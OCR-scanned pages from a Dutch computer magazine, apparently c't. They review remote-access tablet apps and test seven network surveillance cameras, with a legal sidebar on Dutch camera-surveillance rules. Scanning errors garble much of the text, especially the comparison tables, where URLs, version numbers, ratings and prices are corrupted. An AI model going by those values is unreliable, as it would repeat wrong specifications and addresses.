iPad via VNC wilt bedienen. Die app heeft 
een goede bediening waarmee je zelfs bij 
eenvoudige window-managers onder Linux 
snel bij de menu's komt. Mocha VNC Lite is 
etgeniijk alleen geschikt om een grafische 
gebruikersinterface passief te bekijken. 

(hhe) 

Literatuur 

[1 ] Johannes End res, Noud van Kruysbergen, On¬ 
line spreekuur, Windows-pc's snel en simpel 
van huis uit reDareren, c't 5/2008. o,54 


Remote-access-apps voor iOS- en Android-tablets 


Naam 

2X Client 

CrazyRemote Ute 

Mocha VNC Lite 

PodcetdtHid 

Remote Desktop 

Teamviewer HD 

Aanbleder 


Sdenplx 

ModiaSoft 

Wyse 

Hana Mobile 

Teamviewer 

Geiesteverile IOS/Android 

10.0 build 1124/10.0.1156 

13.1/2,3.1.2 

3,0/2.1 

22.214/1.2,139 

LL6/- 

6,0.9302/- 

Internet 

WWW, 2x.com 

www,aazyremote.coin 

www.mod]a5oft,dk 

www.wjrse.com 

www,banaTnobi!es,com 

www.teainvEewer.com 

Gientpiaiform 

iOS, AndrokI 

iOS, Android 

iOS. Android 

IOS, Android 

iOS 

iOS 

Dwlplatform 

Windows, VMs 

Mac OS, Windows 

Linux, Mac OS. Windows 

Linux, Mac OS, Windows, VMS 

Windows 

Linux, Mac OS, Windows 

Protocolkn 

RDP / proprietair 

propri^air 

VNC 

Vl^C/RDF/proprietair 

RDF 

propnelak 

htra 5of!wa fie voor pc 
(per protocol) 



VNC-Server 

-VVMC-Server/ 

VMwareView 



Verbloding^proflelen 


- 


- 


✓ 

StatfsTielcen 


- 

- 

- 

- 


Opnemen 

- 

- 

- 

- 

- 

- 

Bestanden overzenen 

- 

- 

- 


- 


Geluidsweergave 

- 


- 



- 

Door firewalls Peon 

- 

_ 2 

- 




Bedien jiigshiilp 



e 

©® 

© 


Bedieningssnelheld 



o 


0 


App 

gratis 

gratis 

gratis 

gratis 

gratis 

gratis 

Votledige versle 


S20 

$6 

$15 

- 

- 

Serverdlenst 

2X ApplicatlonServer 
betaald 

gratis 


Pocketcloud Companion 
gratis 


prive gratis. 

commerdeel vanaf € 500 


^ vott&dige versle ^ rotiter moet ifigesteid worden -* Wl ndawi ProlesskirteL BusineK, Ultimate ^ met serverdiensT ^ alleen RDP 
® 02 «r 0 oe(t ®goed O vnldoende ©Jlectn ©©zeerslecht ^ aanweiig - nfet aanwezig 
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Ernst Ahlers 

Kleine Big Brothers 

Bewakingscamera's met een netwerkaansluiting 

Als je vanaf je vakantieadres wilt kijken of jegoudvis nog leeft, is het voldoende 
om een oude notebook met USB-webcam aan het internet te hangen. Maar als je 
hogere eisen stelt aan de beefdkwaliteit - en over lets meer budget beschikt - is 
de aanschaf van een echte netwerkcamera zeker de moeite waard, al was het 
maar vanwege de stroomkosten* 


B ewakingscamera's die hun beeld via 
LAN of WLAN leveren, hoeven echt 
geen vermogen te kosten. De goed- 
koopste apparaten met een vaste lens en 
een lage beeldresolutie zijn Inmiddels voor 
zo"n 50 euro te koop. Voor speciale high-res 
modellen met een motorische zoomlens, 
een op afstand bedienbaar zwenkmecha- 
ntsme en een stof- en waterdichte behuizing 
tel je echter nog steeds prijzen van een paar 
honderd totzo'n duizend euro neer. 

Wij wllden wel eens weten hoe de betere 
camera's presteren. Daarom selecteerden we 
zes modellen uit de prijsklasse van 200 tot 
300 euro. Ter reference hebben we er een 
goedkoop model naast gezet dat voldoet 
aan onze minimumeisen. 

De apparaten moeten niet alleen een live- 
beeld aan browsers, videodients of meege- 
leverde bewa kings soft ware voor Windows 
leveren, maar ook autonoom hun werk kun- 
nen doen. Dat wil zeggen dat ze automa- 


tisch snapshots, imagestreams (series van 
snapshots) of korte video-opnamen naar 
een server moeten sturen zodra ze bijvoor- 
beeld beweging detecteren. Dan hoeft daar 
geen pc voor aan te blijven staan. 

Alle camera's zijn volledig via de browser 
te configureren en te bedienen - als dat ten- 
mi nste Internet Explorer is en je de ActiveX 
add-ons van de betreffende fabrikant laat 
installeren. De basisinstellingen zijn meestaf 
ook met Firefox te doen, net als het weer- 
geven van de camerastream. Vaak ontbreken 
dan echter bedieningselementen voor het 
live-beeld zoals een snapshot- en videoknop 
of de St ream select ie in de browse rinterface. 

Beeidkwaliteit 

Om te beginnen moet je er niet op rekenen 
dat een bewakingscamera beelden van de- 
zelfde kwaliteit zal leveren als een HD-cam¬ 
corder of een digitale compactcamera. Bewa¬ 


kingscamera's moeten een zo groot mogeiijk 
gebied bestrijken, wat alleen mogeiijk is met 
lenzen met een flinke groothoek. Dat I eve it 
onvermijdeiijk beelden op met een min of 
meer sterke pincushion-vervorming. 

De resoluti'e van de sensor is vaak maar net 
van VGA-niveau (640 x 480) of compatibel 
met tv-beeid (704 x 576,40 F), Vijf van de zes 
camera's in onze test leverden meer pixels 
(1024 X 768 of hoger). Vervolgens speelt ook 
de compressie nog een rol om de gegevens- 
stroom zo klein mogeiijk te houden. Daarom 
zijn er in video's en foto's van bewakings¬ 
camera's vaak meer of sterkere blokarte- 
facten te zien dan bIJ HD-camcorders. 

We hebben de door de testcamera's ge- 
produceerde foto van onze fotokist subjec- 
tief beoordeeld. Dat gebeurde in princrpe 
bij kunstlicht, maar camera's met hulpllcht 
daarnaast ook nog in het donker Dat ging 
wel duidelijk ten koste van de beeld kwaliteit, 
wat te zien was aan meer ruls of kleurverfies, 
maar bij de drie apparaten met een eigen 
verlichtlng waren in elk geval nog details te 
herkennen. 

De door de camera gerealiseerde verver- 
singssnelheid varieert enorm. Dit Is uiter- 
aard afhankelijk van de gekozen compressie 
(MJPEG, (VIPEG4 of H.264) en beeidkwali¬ 
teit (resolutie, fra me rate, kwaliteitsnrveau). 
MJPEG (Motion JPEG) verkwlst behoorlijk 
wat bandbreedte door een video ais een 
reeks gecomprimeerde stii 14 mages (foto's) 
door te sturen* 

MPEG4 en H.264 analyseren daarentegen 
de verschillen tussen opeenvolgende beel¬ 
den en maken daar beter gecomprimeerde 
groepen van. Hierdoor is de gegevens- 
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Test I Netwerkcamera's 


St room met name bij overwegend statische 
scenes veel klemer dan bij MJPEG, 

Ter verduidGliJking een paar voorbeel- 
denr bij de FD8133 van Vivotek bereikte een 
MJPEG-video met de maximale resolutie 
(1280 X 800k de beste beefdkwaliteit ('Excel¬ 
lent') en de hoogste framerate (25 Hz) al op 
8 Mbit/s als het beeid veiled ig zwart was* Bij 
een typische statische scene sc hoot de MJ- 
PEG-datarate omhoog naar 24 Mbit/s en bij 
vee! details naar 30 Mbit/s, 

De FD8133 genereerde met H.264 en 
MPEG4 bij dezelfde Instellingen en dezelfde 
sc^ne daarentegen maar net 6 Mbit/s, bij 
zwart beeid 0,7 Mbit/s* Pas toen we de reso¬ 
lutie hafveerden (640 x 400) en de beeid kwa- 
iiteit op 'goed' instelden, kwam de MJPEG- 
stroom eveneens bij 6 Mbit/s (scene) en 0,7 
Mbit/s (zwart). 

De videodata zijn nog verderte reduceren 
door de beeldfrequentle te verlagen. Voor 
veel toepassingen zal ook 5 of 10 in plaats 
van 25 hertz voldoende zijn. 

Contact leg gen 

Alle testcamera's zijn voorzlen van een net- 
werkaansluitlng (Fast Ethernet, 100 Mbit/s). 
Drie apparaten bieden ook WLAN. Die moet 
dan wel een goede versleutelingsmethode 
gebruiken, bijvoorbeeld WPA{2) in combina- 
tie met een sterk wachtwoord. 

Bij een goede WLAN-verbinding conform 
IEEE 802.1 Ig - maximaal 54 Mbit/s bruto - is 
onder optimale omstandigheden een netto 
snelheid van 20 Mbit/s mogelijk. Dat is rufm- 
schoots voldoende voor MPEG4- en H.264- 
streams In hoge resolutie en met een goede 
beeid kwallteit Als de afstand echter groter 
wordt, daalt de nettosnelheid snel onder de 
10 Mbit/s. Dat is nomlnaal nog steeds vol¬ 
doende, maar de camerastream neemt dan 
meer tijd op het zendkanaal in beslag ten 
koste van andere clients. 

Aangezien de camera's in het WLAN het- 
zelfde worden behandeld als andere appa¬ 
raten, moet je er bij veel verkeer rekening 
mee hoyden dat er frames wegvallen of dat 
de videoweergave gaat haperen. Dat risico 
Is bij 802.11 n door de hogere brutosnelheid 
wel kleiner, maar nog steeds aanwezig. Helaas 



Axis M1031-W; slim me firmware inclusief 
IPv6, laag energieverbruik, maargeen 
video-uploads* 


ondersteunt geen van de apparaten dual¬ 
band, waardoor uitwijken naar de relatief lege 
5GHz-band bij overbelasting niet mogeiljk is. 

Een kabelverbindlng verdient, voor zover 
mogelijk, dan ook de voorkeur. Die is - in te- 
genstelling tot WLAN - ook fang niet zo sto- 
ringsgevoelig. Bovendien moet er ook al een 
kabel getrokken worden voor de stroom- 
voorziening. Bij camera's met ondersteuning 
voor PoE (Power over Ethernet) - in deze test 
de apparaten van LevelOne en Trendnet - 
kan de benodigde energte ook uit de LAN- 
kabel komen. 

Netwerkinstelling 

Alle camera's kunnen via DHCP een IP-adres 
van de router krijgen. Als je router zo kunt 
instellen dat hij dat iP-adres kan koppelen 
aan het MAC-adres, krijgt de camera steeds 
hetzelfde IP-adres. Toch kun je dit ad res het 
beste handmatig instellen, dan weet je ten- 
minste zeker dat de camera via port forwar¬ 
ding altijd via internet bereikbaar is. 

Nu kun je via het netwerk bij de camera, 
maar voor een goede werking moet Je nog 
wat zaken instellen. Allereerst moet Je als 
gateway en DNS-server op de camera het 
IP-adres van de router instellen, zodat de ca¬ 
mera ook toegang tot het internet krijgt. Op 
die manier kunnen de camera's hun interne 
klok automatisch via NTP (Network Time 
Protocol) gelijkzetten, wat belangrijk is voor 
tijdstempels of tijdgestuurde functies* 

De camera's van Axis en Vivotek verdie- 
nen een plufm omdat ze voorberefd zijn op 
het steeds betangrijker wordende IPv6. De 
IPv6-prefix (de eerste 64 bit van het ad res) 
halen ze uit de router announcements (RA), 
en samen met hun MAC-adres maken ze 
daar een globaal geldig IPv6-adres van. De 
Axis M1031-W gebruikt ook DHCPv6. Bij de 
Vivotek FD8133 kun je bovendien een vast 
IPv6-adres instellen. 

Alle camera's kunnen foto's als bijiage in 
een maiitje versturen of via FTP uploaden* 
Interessanter wordt het bij video-uploads, 
al ondersteunt onder andere de M103TW 
dat niet en wordt dan ultgeweken naar een 
image-stream bestaande uit reeksen JPEG- 
foto's. Bij de andere camera's kan uploaden 



Intellrnet NSCId-WN: kan zelfstandig een 
positie innemen, gereduceerde resolutie 
bij MPEG4“Streams. 


via RP in elk geval wel, bij de betere appa¬ 
raten kun je een video ook op een Windows- 
share of een NAS-apparaat (Network Atta¬ 
ched Storage) via het SMB-protocol opslaan. 

Er waren een paar eigenaardigheden: de 
Edimax IC-7010PTn kon in de test een SMB- 
share we] benaderen, maar zijn gegevens niet 
in een subdirectory opslaan. De FCS-0031 
verminkte bij RP-uploads het ingestelde pad 
('mnt' in plaats van 7mnt/images../), waar¬ 
door de server een foutmelding gaf Pas met 
een simpele string ('levelone') en een symbo- 
lische link in de RP-homedirectory (Ln -s /mnt/ 
images/videos/ievelone levelone) kon de camera in 
onze configuratie bestanden uploaden. 

Gebeurtenissen^. 

Voor een automatische surveillance moet je 
twee begrippen uit elkaar houden: events (of 
triggers) en acties. Events genereren acties, 
soms ook meerdere acties in een keen 

Alle testcamera's kunnen bewegingen in 
het beeid als een event beoordelen. Ook kun 
je delen van het beeid bewegingsgevoelig 
maken via een of meerdere rechthoekige 
vensters of met een veld van rasterpunten* 
Bij de M103TW werkt het andersom en kun 
je beweg ingsongevoefige delen definleren 
(exc I ud e). Vi a sc h u if reg e I a a rs of d ro pdo wn - 
menu's kun je de gevoeligheid vender be- 
invloeden, zodat niet elke voorbijvliegende 
vogel een event trlggert. 

Het is handig als je ook een event-duur 
kunt instellen, zodat de camera bijvoorbeeld 
gedurende een bepaalde tijd snapshots naar 
een FTP-server stuurt. Ook een instelbaar 
pauze-interval Is handig om teveel events te 
voorkomen. En je wilt natuurlljk ook de ge- 
beurtenis die de opname getriggerd heeft 
in de video terugvinden. Hiervoor zorgt een 
pre-event opname, waarbij de camera de 
gegevens een tljdlang intern buffert en de 
video pas bij een event verstuurt. Een buffer 
van een seconde, zoals bij de IC-701 OPTn, zal 
veelal voldoende zijn, maar een wat langere 
of zelfs instelbare buffer per tod e biedt wat 
meer flexibillteit 



Edimax lC-7010PTn: hoge resolutie, maar 
beeldkwaliteit niet meer dan voldoende, 
foutieve SMB-upload. 
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Test I Netwerkcamera's 


De regels rond cameratoezicht 


Cameratoezicht en filmen van mensen op 
straat, in winkels en andere openbare loca- 
ties gebeurt steeds vaker. Meestal aange- 
kondigd, maar soms ook wel in het geheim. 
Omdat dergelijk filmen een inbreuk op de 
privacy kan zijn, is cameratoezicht onder- 
worpen aan wetteiijke regds. 

1 * Cameratoezicht in de openbare ruimte 

De belangrijkste wettelijke regel is dat ca- 
meratoezfcht en filmen met een aange- 
brachte (vaste) camera alleen mag a Is dat 
duidelijk is aangekondigd. Met een hand- 
camera mag je wel filmen {of fotograferen) 
op de openbare weg, ook heimelijk. Die 
aankondiging wordt meestal verricht door 
een bordje bij de ingang op te hangen. Ook 
een mededeling op een uitnodiging of tic¬ 
ket wordt wel gebruikt. De aankondiging 
hoeft echter nlet per se schriftefijk te zijn. 
Sommige winkels hangen bijvoorbeeld een 
monitor net na de ingang waarop te zien is 
wat de beveiligingscamera's filmen, Ook zo 
kun je mensen informeren dat er camera's 
hangen* En als de camera zelf duidelijk 
zichtbaar is, dan is een apart bordje niet 
meer nodig (mits je de camera maar kunt 
zien voordat je in beeld komt). 

De wet regelt cameratoezicht in de open- 
bare ruimte. Dat is niet alleen de openbare 
weg* Ook winkels, horeca, parkeerplaatsen, 
casino's en dergelijke valten hier onder. Dit 
is weliswaar priveterrein en eigendom van 
de winkelier of uitbater, maar zij stellen hun 
terrein open voor het publiek en daarmee is 
de ruimte 'openbaar' in de zin van de straf- 
wet. Of je nu moet betaien of niet, of bij¬ 
voorbeeld minstens 18 moet zijn om naar 
binnen te mogen, is dan verder irrelevant 
De eigenaar of uitbater mag overigens ook 
huisregels stellen waarin mag staan dat fih 
men verboden is voor bezoekers, Dat is dan 
rechtsgeldig, tenzij de nieuwswaarde z6 
hoog is dat het verbod onredelijk is om in 
die situatie uft te oefenen. 

2* Cameratoezicht bij de burert 

Een camera mag in beginsel alleen de eigen 
ruimte filmen, dus wel de tuin en de carport 
maar niet de openbare weg. Enige overlap 
zal onvermljdelijk zijn. Bij het filmen van het 
portiek kan bijvoorbeeld altijd wel lets van 
de voordeur van de buren in beeld komen, 
maar dat maakt het cameratoezicht niet 
meteen verboden, zo oordeelde de recht- 
bank Amsterdam in 2009. 

In een Leeuwardse rechtszaak werd beves- 
tigd dat dit ook geldt voor het filmen van de 
geparkeerde auto a is deze aan de openbare 
weg staat De rechter vond dit geen verbo¬ 
den cameratoezicht: "In wezen komt dit ge~ 
bruik van de camera en het observeren van 
de auto overeen met hetgeen [de eiser] met 
het blote oog zou waarnemen vanuit zijn 
raam indten hij overging tot verwijdering 
van de daarvoor geplaatste bosschage" 


Filmen van priveterrein van de buren is ech¬ 
ter onrechtmatig richting de buren, zo blijkt 
uit de rechtspraak. Bij cameratoezicht dient 
dit dan ook zo veel mogelijk tegengegaan 
te worden. Moderne camerasurveillance- 
systemen hebben hiervoor softwarematige 
opiossingen, waarbij een specifiek stuk van 
het beeld uitgeblokt wordt tijdens het op- 
nemen, zodat er in het geheel geen beef- 
den van bijvoorbeeld de achtertuin van de 
buren worden vastgelegd maar w^l van de 
gemeenschappelijke opgang tussen de tui- 
nen. Daarmee is aan de wet voldaan. 

Een lastig punt is dat de buurman niet kan 
zien of dat uitblokken ook werkelijk ge¬ 
beurt. Zelfs als hij dit zelf mag controleren, 
kan de optie natuurlijk vijf minuten later 
worden uitgeschakeld. Een praktisch advies 
Is dan ook om een sticker of stuk plakband 
over de camera te piakken, of explidet een 
plaatje op te hangen zodat het fysiek on- 
mogeiijk is om de betreffende tuin in beeld 
te krijgen, Dergelijke opiossingen kunnen 
grote buren ruzies voorkomen. 

3. Cameratoezicht in private ruimte 

Fotograferen of filmen in eigen huis of tuin 
of binnen een bedrijfsruimte valt niet onder 
bovenstaande regeling* Deze ruimten zijn 
immers niet voor het publiek toegankelijk. 
Hier stelt de wet strengere regels* Elk opzet- 
telijk filmen of fotograferen Is verboden als 
dit niet aangekondtgd is* Het maakt daarbij 
niet uit of de camera ergens aangebracht is 
of vastgehouden wordt door de fotograaf 
of cameraman* Het in bezit hebben van een 
foto of film die op die verboden manier is ge- 
maaktr Is zelf ook verboden. 

Het verbod van filmen in priveruimtes Is 
gebaseerd op het feit dat onaangekondigd 
filmen een schending van de privacy van 
de gefilmde personen is. Dat betekent dat 
wanneer er geen sprake is van een privacy- 
schending, het filmen toegestaan is. Dit is 
van belang bij inbrekers, dieven en andere 
personen die zelf wederrechtelijk een loca- 
tie betreden* Dergelijke personen kunnen 
geen aanspraak maken op eerbiediging van 
hun privacy en kunnen dus geen bezwaar 
maken tegen cameratoezicht. Ook niet als 
de camera er in strijd met de wet hangt. Het 
publiceren op Internet van de beeldan is een 
ander verhaal: het aan de schandpaal nage- 
len van verdachten (of zelfs veroordeelde 
criminelen) is eigenlljk altijd verboden. En 
de grens tussen het opsporen van een ver- 
dachte en het aan de schandpaal nagelen is 
erg dun. 

De wet biedt wel een ultzonderlng op de 
els van aan kondigen: als er een rechtvaardi- 
gingsgrond is die zeer zwaar weegt, dan kan 
deze de privacy van de gefilmde personen 
opzij zetten. Een verborgen camera om de 
babysitter te kunnen controieren zou toege¬ 
staan kunnen zijn als er duidelijke aanwijzin- 
gen zijn van mish an deling of verwa a dozing, 


Arnoud 
Engeifnet is 
ICT-jurist, ge- 
specraliseerd in 
internetrecht en 
werkt als part¬ 
ner bij juridisch 
adviesbureau 
ICTRecht 
Zijn site iusmen- 
tis.com bevat 
meer dan 350 
artikelen over 
internetrecht. 

en er geen andere manier Is om aan tetonen 
of de babysitter hleraan schuldig is. En een 
journalist die een zwaarwegende misstand 
aan de kaak wil stellen, mag daarbij ook een 
verborgest camera inzenen. 

4< Meeluisteren bij cameratoezicht 

Steeds meer camera's zijn ook uitgerust 
met microfoons. Een microfoon die alleen 
gebruikt wordt om de camera te active- 
ren bij ongewoon geluid Is juridisch geen 
probleem. Maar wanneer het opgevangen 
geluid wordt opgeslagen of de beveili- 
gingsmedewerker meduistert, wordt het 
lastiger. Het is immers verboden (zie hoofd- 
stuk 3, sectie Opnemen van gesprekken) 
om een gesprek op te nemen of af te luis- 
teren waar je geen deelnemer aan bent. En 
dat is precies wat er gebeurt als een camera 
met microfoon wordt gebruikt* 

Expliciet uitgezonderd van dat verbod op 
afluisteren is opnemen van gesprekken dat 
gebeurt door de eigenaar van de woning of 
bedrijfsruimte, mits de microfoon daar niet 
verstopt is. Zolang de microfoon dus maar 
zichtbaar Is, is er geen sprake meer van een 
strafbaarfeit. 

5. Gebruikals bewijs 

Door burgers of bednjven gemaakte opna- 
men of films mogen worden afgegeven aan 
de politie als er strafbare feiten op staan* Een 
werknemer die gefsimd is bij het plegen van 
diefstal op het werk, kan zo strafrechtelijk 
vervolgd worden. Dit geldt zelfs als de op- 
namen illegaal gemaakt zijn, oordeelde de 
Hoge Raad in diverse rechtszaken. Bewijs 
wordt niet "onrechtmatig verkregen" (en 
dus onbruikbaar voor het openbaar minis- 
terie) omdat een burger de wet schond bij 
het verzamelen, Dit zou pas anders worden 
als poll tie of andere opsporingsambtenaren 
betrokken of op de hoogte zou den zijn van 
het illegale filmen. 

Dat wil overigens niet zeggen dat een burger 
vrijuit gaat als hij illegale opnamen maakt 
om een strafbaar feit te kunnen bewijzen. De 
opnamen kunnen dan wel bruikbaar zijn als 
bewijs, maar de cameraman kan nog steeds 
een boete of mogelijk zelfs gevangenisstraf 
verwachten. (Arnoud Engelfriet) 

De relevante wetsartikelen bij dit kader 
vind je via desoftlink* 
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TrendnetTV-IP522P: hoge resolutie met 
meerdere streamprofietea kan gevoed wor^ 
den via PoE, maar hoog energieverbruik. 


...en acties 

Wat de camera bij een event moet doe a 
definieer je via acties. Deie lopen uiteen 
van een waarschuwing via e-mail {optio¬ 
nee! met een foto als bijiage), een http- 
notification waarop een Webserver via een 
script kan reageren, of video-uploads via 
FTP of SMB. 

Camera's met een hulpiicht schakelen dit 
optioneel in als ze een event deteaeren. De 
event kan ook van een infraroodsensor afko- 
men die op lichaamswarmte reageert Ook 
kan de verlichting automatisch aangaan als 
de bij sommige apparaten aanwezige licht- 
sensor te weinig hefderheid meldt. 

De PT-camera (Pan / Tilt) van Edimax heeft 
overigens infrarood-led's, zodat je zonder 
hulpmiddelen niet merkt dat een donkere 
ruimte toch verlicht wordt. HIj geeft in deze 
nachtmodus een zwart-wit beeld. 

Stroomvretertjes 

Bewakingscamera's staan 24 uur per dag 
aan. Elke wan opgenomen vermogen kost 
dan ongeveer 1,93 euro per jaar (bij een 
prijs van 22 cent per kWh). We hebben het 
opgenomen vermogen gemeten aan het 
stopcontact bij het opvragen van een video¬ 
stream in de best mogelijke kwaliteit. 

Bij apparaten met PoE of een verlichting 
die nog eens extra energie verbruikt; hebben 
we ook het daardoor veroorzaakte energie- 
verbruik vastgelegd. Alleen het extra ver- 
bruik door incidenteel gebruikte functies 
zoals het motorisch draaien of zoomen heb¬ 
ben we niet geregistreerd omdat dit op jaar- 
basis nauwelijks wat uitmaakt. 

Een verbruik tot 2,S watt beoordelen we 
als 'goed' omdat dit ongeveer de helft is van 
wat een nor male breed bandrouter verbruikt 
Bij meer dan 5 watt kregen de apparaten een 
slechte beoordeling. 

Axis en Vivotek houden de Juridische as- 
pecten in het oog. Bij beide camera's kun 
je een Privacy Mask instellen, oftewel een 
beelddeel dat altijd grijs weergegeven 
wordt. Zo kun Je gemakkelijk openbare 
ruimtes of de tuin van de buren onzichtbaar 


Test j Netwerkcamera's 


ft 





LevelOne FCS-0031: hoge resolutie, kan 
gevoed worden via de LAN-kabel, in de test 
echter haperende bewegingsherkenning. 


maken om ruzie te vermijden. Axis geeft je 
hiervoor drie rechthoekige vensters, Vivotek 
vijf 

Bijzonderheden 

Alle Ip-camera's worden geleverd met een 
lichtnetadapter. Het is niet altijd duidelijk 
aangegeven wat de plus- en de min-pool is. 
Normaal gesproken zit de plus aan de bin- 
nen- en de min aan de buitenkant, maar dat 
is niet altijd zo. Als je dus om de een of ande- 
re reden een andere voeding wilt gebruiken 
dan de meegeleverde, moet je daar goed op 
letten. 

Intellinets NSC18-WN biedt verschil- 
lende streamingformaten, wat erg handig 
is. Jammer genoeg snijdt de camera bij 
het zeer compacte en bandbreedtebespa- 
rende MPEG4-formaat een stuk van het 
beeld af. Van de 1280 x 1024 pixels van de 
sensor die de camera bij MJPEG volledig 
I evert, blijven in de MPEG4-stream slechts 
1024 X 768 pixels over, gerekend vanaf de 
linkerbovenhoek. Na een blik in de HTML- 
code kwamen we tot de ontdekking dat 
achter de NSC18-WN eigenlijk een IC-5010 
van Edimax schuilgaat. Dat verklaart ook 
waarom dezelfde software wordt meegele- 



Edimax iC-B005Wn: budgetapparaat met 
VGA-resolutie ter vergelijking, maar zelfs 
met WLAN een bru ikbaar beeld 



Vivotek FD8133: goed beeld bij een hoge re¬ 
solutie, slimme netwerkfuncties Inclusief IPv6, 


verd als bij de IC-701 OPTn, zij het in een iets 
nieuwere vers I e. 

Helaas vertoonde de bewegingsherken¬ 
ning bij de FCS-0031 van LevelOne tijdens 
de test kuren. Pas na uitvoerlg varieren van 
de gevoeligheid en de aanspreekdrempel 
kregen we het voor elkaar dat de camera au¬ 
tomatisch video's wilde opnemen. Maar ook 
dan reageerde de bewegingsherkenning 
niet bepaaJd betrouwbaar. De privacyknop 
op de camera, waarmee je de video- en au¬ 
diostream zonodig meteen kunt stoppen, 
compenseert dat nauwelijks. 

Conclusie 

Hoe wet de geteste apparaten ongeveer het- 
zelfde kosten, waren ze zeer verschillend qua 
bouwvorm, functies en kwaliteit Bij de com¬ 
pacte tafekamera’s maakte het apparaat van 
Axis de beste indruk, ookal biedt hij slechts 
VGA-resolutie en levert hij geen video's. A!s 
je die toch graag wilt is de LevelOne interes- 
santer, maar dan moet je bij het installeren 
de bewegingsdetectie wel zorgvuldig instel- 
ten en testen. 

De twee tafelmodelcamera's met draai/ 
kantelfunctie {de IC-701 OPTn van Edimax en 
de NSC18-WN van Intellinet) leken meer op 
speelgoed, waarbij de motorische beweeg- 
baarheid en andere extra’s ten koste gaan 
van de beeld kwaliteit. 

Als de camera onopvallend aan het pla¬ 
fond of tegen de muur moet hangen, dan 
is bfj deze test het dome-model van Vivotek 
nog het meest aantrekkelijk, ook al is dat 
geen PTZ-camera (Pan / Tilt / Zoom). Als je 
juist wilt dat de bewakingscamera preven- 
tief voor iedereen opvallend en herkenbaar 
is, kun je de Trendnet nemen. Deze kan als 
enige in deze test zijn voeding van de ether- 
netkabel krijgen (PoE), maar verbruikt wel 
relatiefveef energie, 

Als je kijkt naar de prijs-kwaliteltverhou- 
ding, dan blijkt dat sommige camera's niet 
de kwaliteit bieden die je voor deze prijzen 
van tegen de 300 euro zou mogen verwach- 
ten. (Jmu) 

^ Somrnk^WOSS 
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Test I Netwerkcamera's 


1 Netwerkcamera's - technische gegevens en testresultaten 

IP-camera 

AxisMiDJVW 

EiiimalG7010PTn 

IntellinetNSCIS^WH 

Vormfsi^cr tFb! I Dome 1 PTZJ 

fix 

PT 

PT 

Getestefirmwareversle 

52Q.1 

U1 

122 

Broncodehesdiikbaar 

opverzoek 

op verzoek 

- 

Aansiuitingen i hardware 

Lan / PoE-ofidersteuning 

F£/- 

FE/- 

FE/- 

WLAN / dualband i anterre/aansluitfrtg 

802.11g/-/int/- 

mi1n-300/-/2/RP-SMA 

80I!ln-300/-/2/EtP-SMA 

WPAU|/WPS/a02.1x /meuertificaat 


y /v^ / ~ / - 


Mtcrofoon/audto-ingang 

>/f- 

v^/- 

✓ /- 

Luidspreker / audlo-uitgang 

v//- 


-fy 

GPIO/overige interfaces 


-/SD-Card 

-/SMard 

Bedieningselenienten 

reset-knc^ 

focus, reset-, WPS-knop 

focus, reset-, WPS-knop 

Status-led's 

4 

4 

4 

Belktiling / overig 

s//PtR-sensor 

(IRj/Ucfitsensor 

-/- 

Afmetingentbx hx d) 

60 mm X 95 mm X 55 mm 

llOmmx 100 mm X 140 mm 

110 mm X 120 mmx 135 mm 

Meegefevefde extra's 

voei met kogelgewricht, muursteun 

wandhouder, voet, kogelgewricht 

wandhouder 

Opgenomen vermogen LAM 

2,3W(met[kht4,0W} 

5,0W(metlrclitS,9W) 

4,1 W 

Opgenomen vetmogen WLAN 

2,2W(metlidvt:3,9W} 

5,3W(metlkht:6,2W) 

S,4W 

Configuratie / toeganf 




Webinteffere / bruikbare hulp 



“/- 

Configuratlesoftware Windows / Mac 05 / Linux 


✓ /*/- 


Toegangsbevetligtng 

wachtwoordJP-ftJter 

wachtwoord 

wachtwoord 

Soorten gebruikers 

Netwerkfuncties 

admin, operator, viewer 

operator, guest 

admin 

DHCP/UPnP/BonJoor 




HilP / HTTPS / poort aan te passed 




RTSP/poofiaan le passed 


/vX 

y ty 

FTP/e-maif/SMB 



yfyi^ 

NTP-dierrt / server vrij kiesbaar / zomertijd correa 



y fy ly 

PPPoE/DyrDNS 

- (Axis) 

v^/V 

yfy 

IPv6: RA/DHCPV6/vast IP 




Overige 

5NMP(v1-3),QoStDSCP), 

RTP-multicast 

■ 

■ 

Opfiamebesturing 




Bewegingssensor } indude, exdude 

max. ID windows, gevoeJighekl/v^ 

max. 1 windows, gevodighdd / - 

max. 3 windows, gevoeligheid / - 

Event bij 

beweging, audio, PlR-signaal, 
manipulatje (tamper detection) 

beweging 

beweging 

Acties bij event 

e-mail, ftp-upload image-stream, http-notifka- 
tion / upload, geluidsignaal, verlichting 

e-mail, ftp/SM B-upload snapshot of video 

e-maij, ftp-upload video 

Event- /videnduur i Interval daartussen / pre-event-registratie 

ummi - 

-/2s/fl-60s/1s 

-/i-ss/o-eos/- 

Tijdgestuurde opnaire 

een tifdinterval perweekdag 

pro xs/min /h / d of 2-5 frames/s 

- 

Opslagru Imte voor video t gtootte te beperken 

lokaal i ^ 

ftp,SMB,SD-<jrd/.z[SMB) 

ftp,SD-C3rd/“ 

Overige 

privacy mask (3 windows) 


guard tour (autom. langsgaan van max. 9 
posftles] 

Video 

Sensorgrootte / objectief / verwlsseibaar/opt. zoom 

1/4 ittcb / 4,4 mm, F2.D /-/- 

1 /4 inch / 5,0 mm, £2.^/-/- 

1/4 inch/5,0 mm, FIS/-/- 

Videoprofiejen f maxImale resolutie 

4+x/64Ox4S0f30Hz) 

-/H264:1280x 1034 (IS Hz) 

-/MPEG4:1024x 76S(1SHz) 

Opnameformaten 

JPEG,A5F 

JPEG, AVI 

JPEG, AVI 

Streamingformaten 

H2HMPEG4, MJPEG 

H264, MPF&4, MJPFG 

MPEG4, MJPEG 

Aparte stream voor mobiele apparaten / bitrate te beperken 

H264(max.64(}x4B0,30Hz)/^ 


“ 

Parallele videostreams (max. aanta l) 

y (20,alieenbyMJPES) 

- 


Beeldbewerking 

spiegelen V/H 

spiegelen V/H 

spiegelen V/H 

Overlay's 

tijd, tekst, beeld 

tijd, camera naam 

tijd 

Recorder-toni 

Axis Camera Station 1.41 

IPCam Surveillance Software 3.025 

IPCam Surveillance Software 3.0.3.3 

5manplione*apps 

Mobile Monitor 
(Windows Mobile 5.0-6i5j 

eCamtiOS} 

■ 

Beoofdeling 

Functleomvang 

O 


O 

Netwerk 


© 

O 

Beefdkwaliteit 

O 

O 

o 

Energleverbrulk Ian {wian} 

®(0) 

0(0) 

0{©) 

Prijs circa 

€ 249 (ipcam-shop.n1) 

€229 (conrad.nl) 

€ 299 (conrad.nl) 

’ met Trendnet-adapter ^ met Po£-injector T rendnet TPE-111 Gl (eigen verbruik 1 r5 W) 



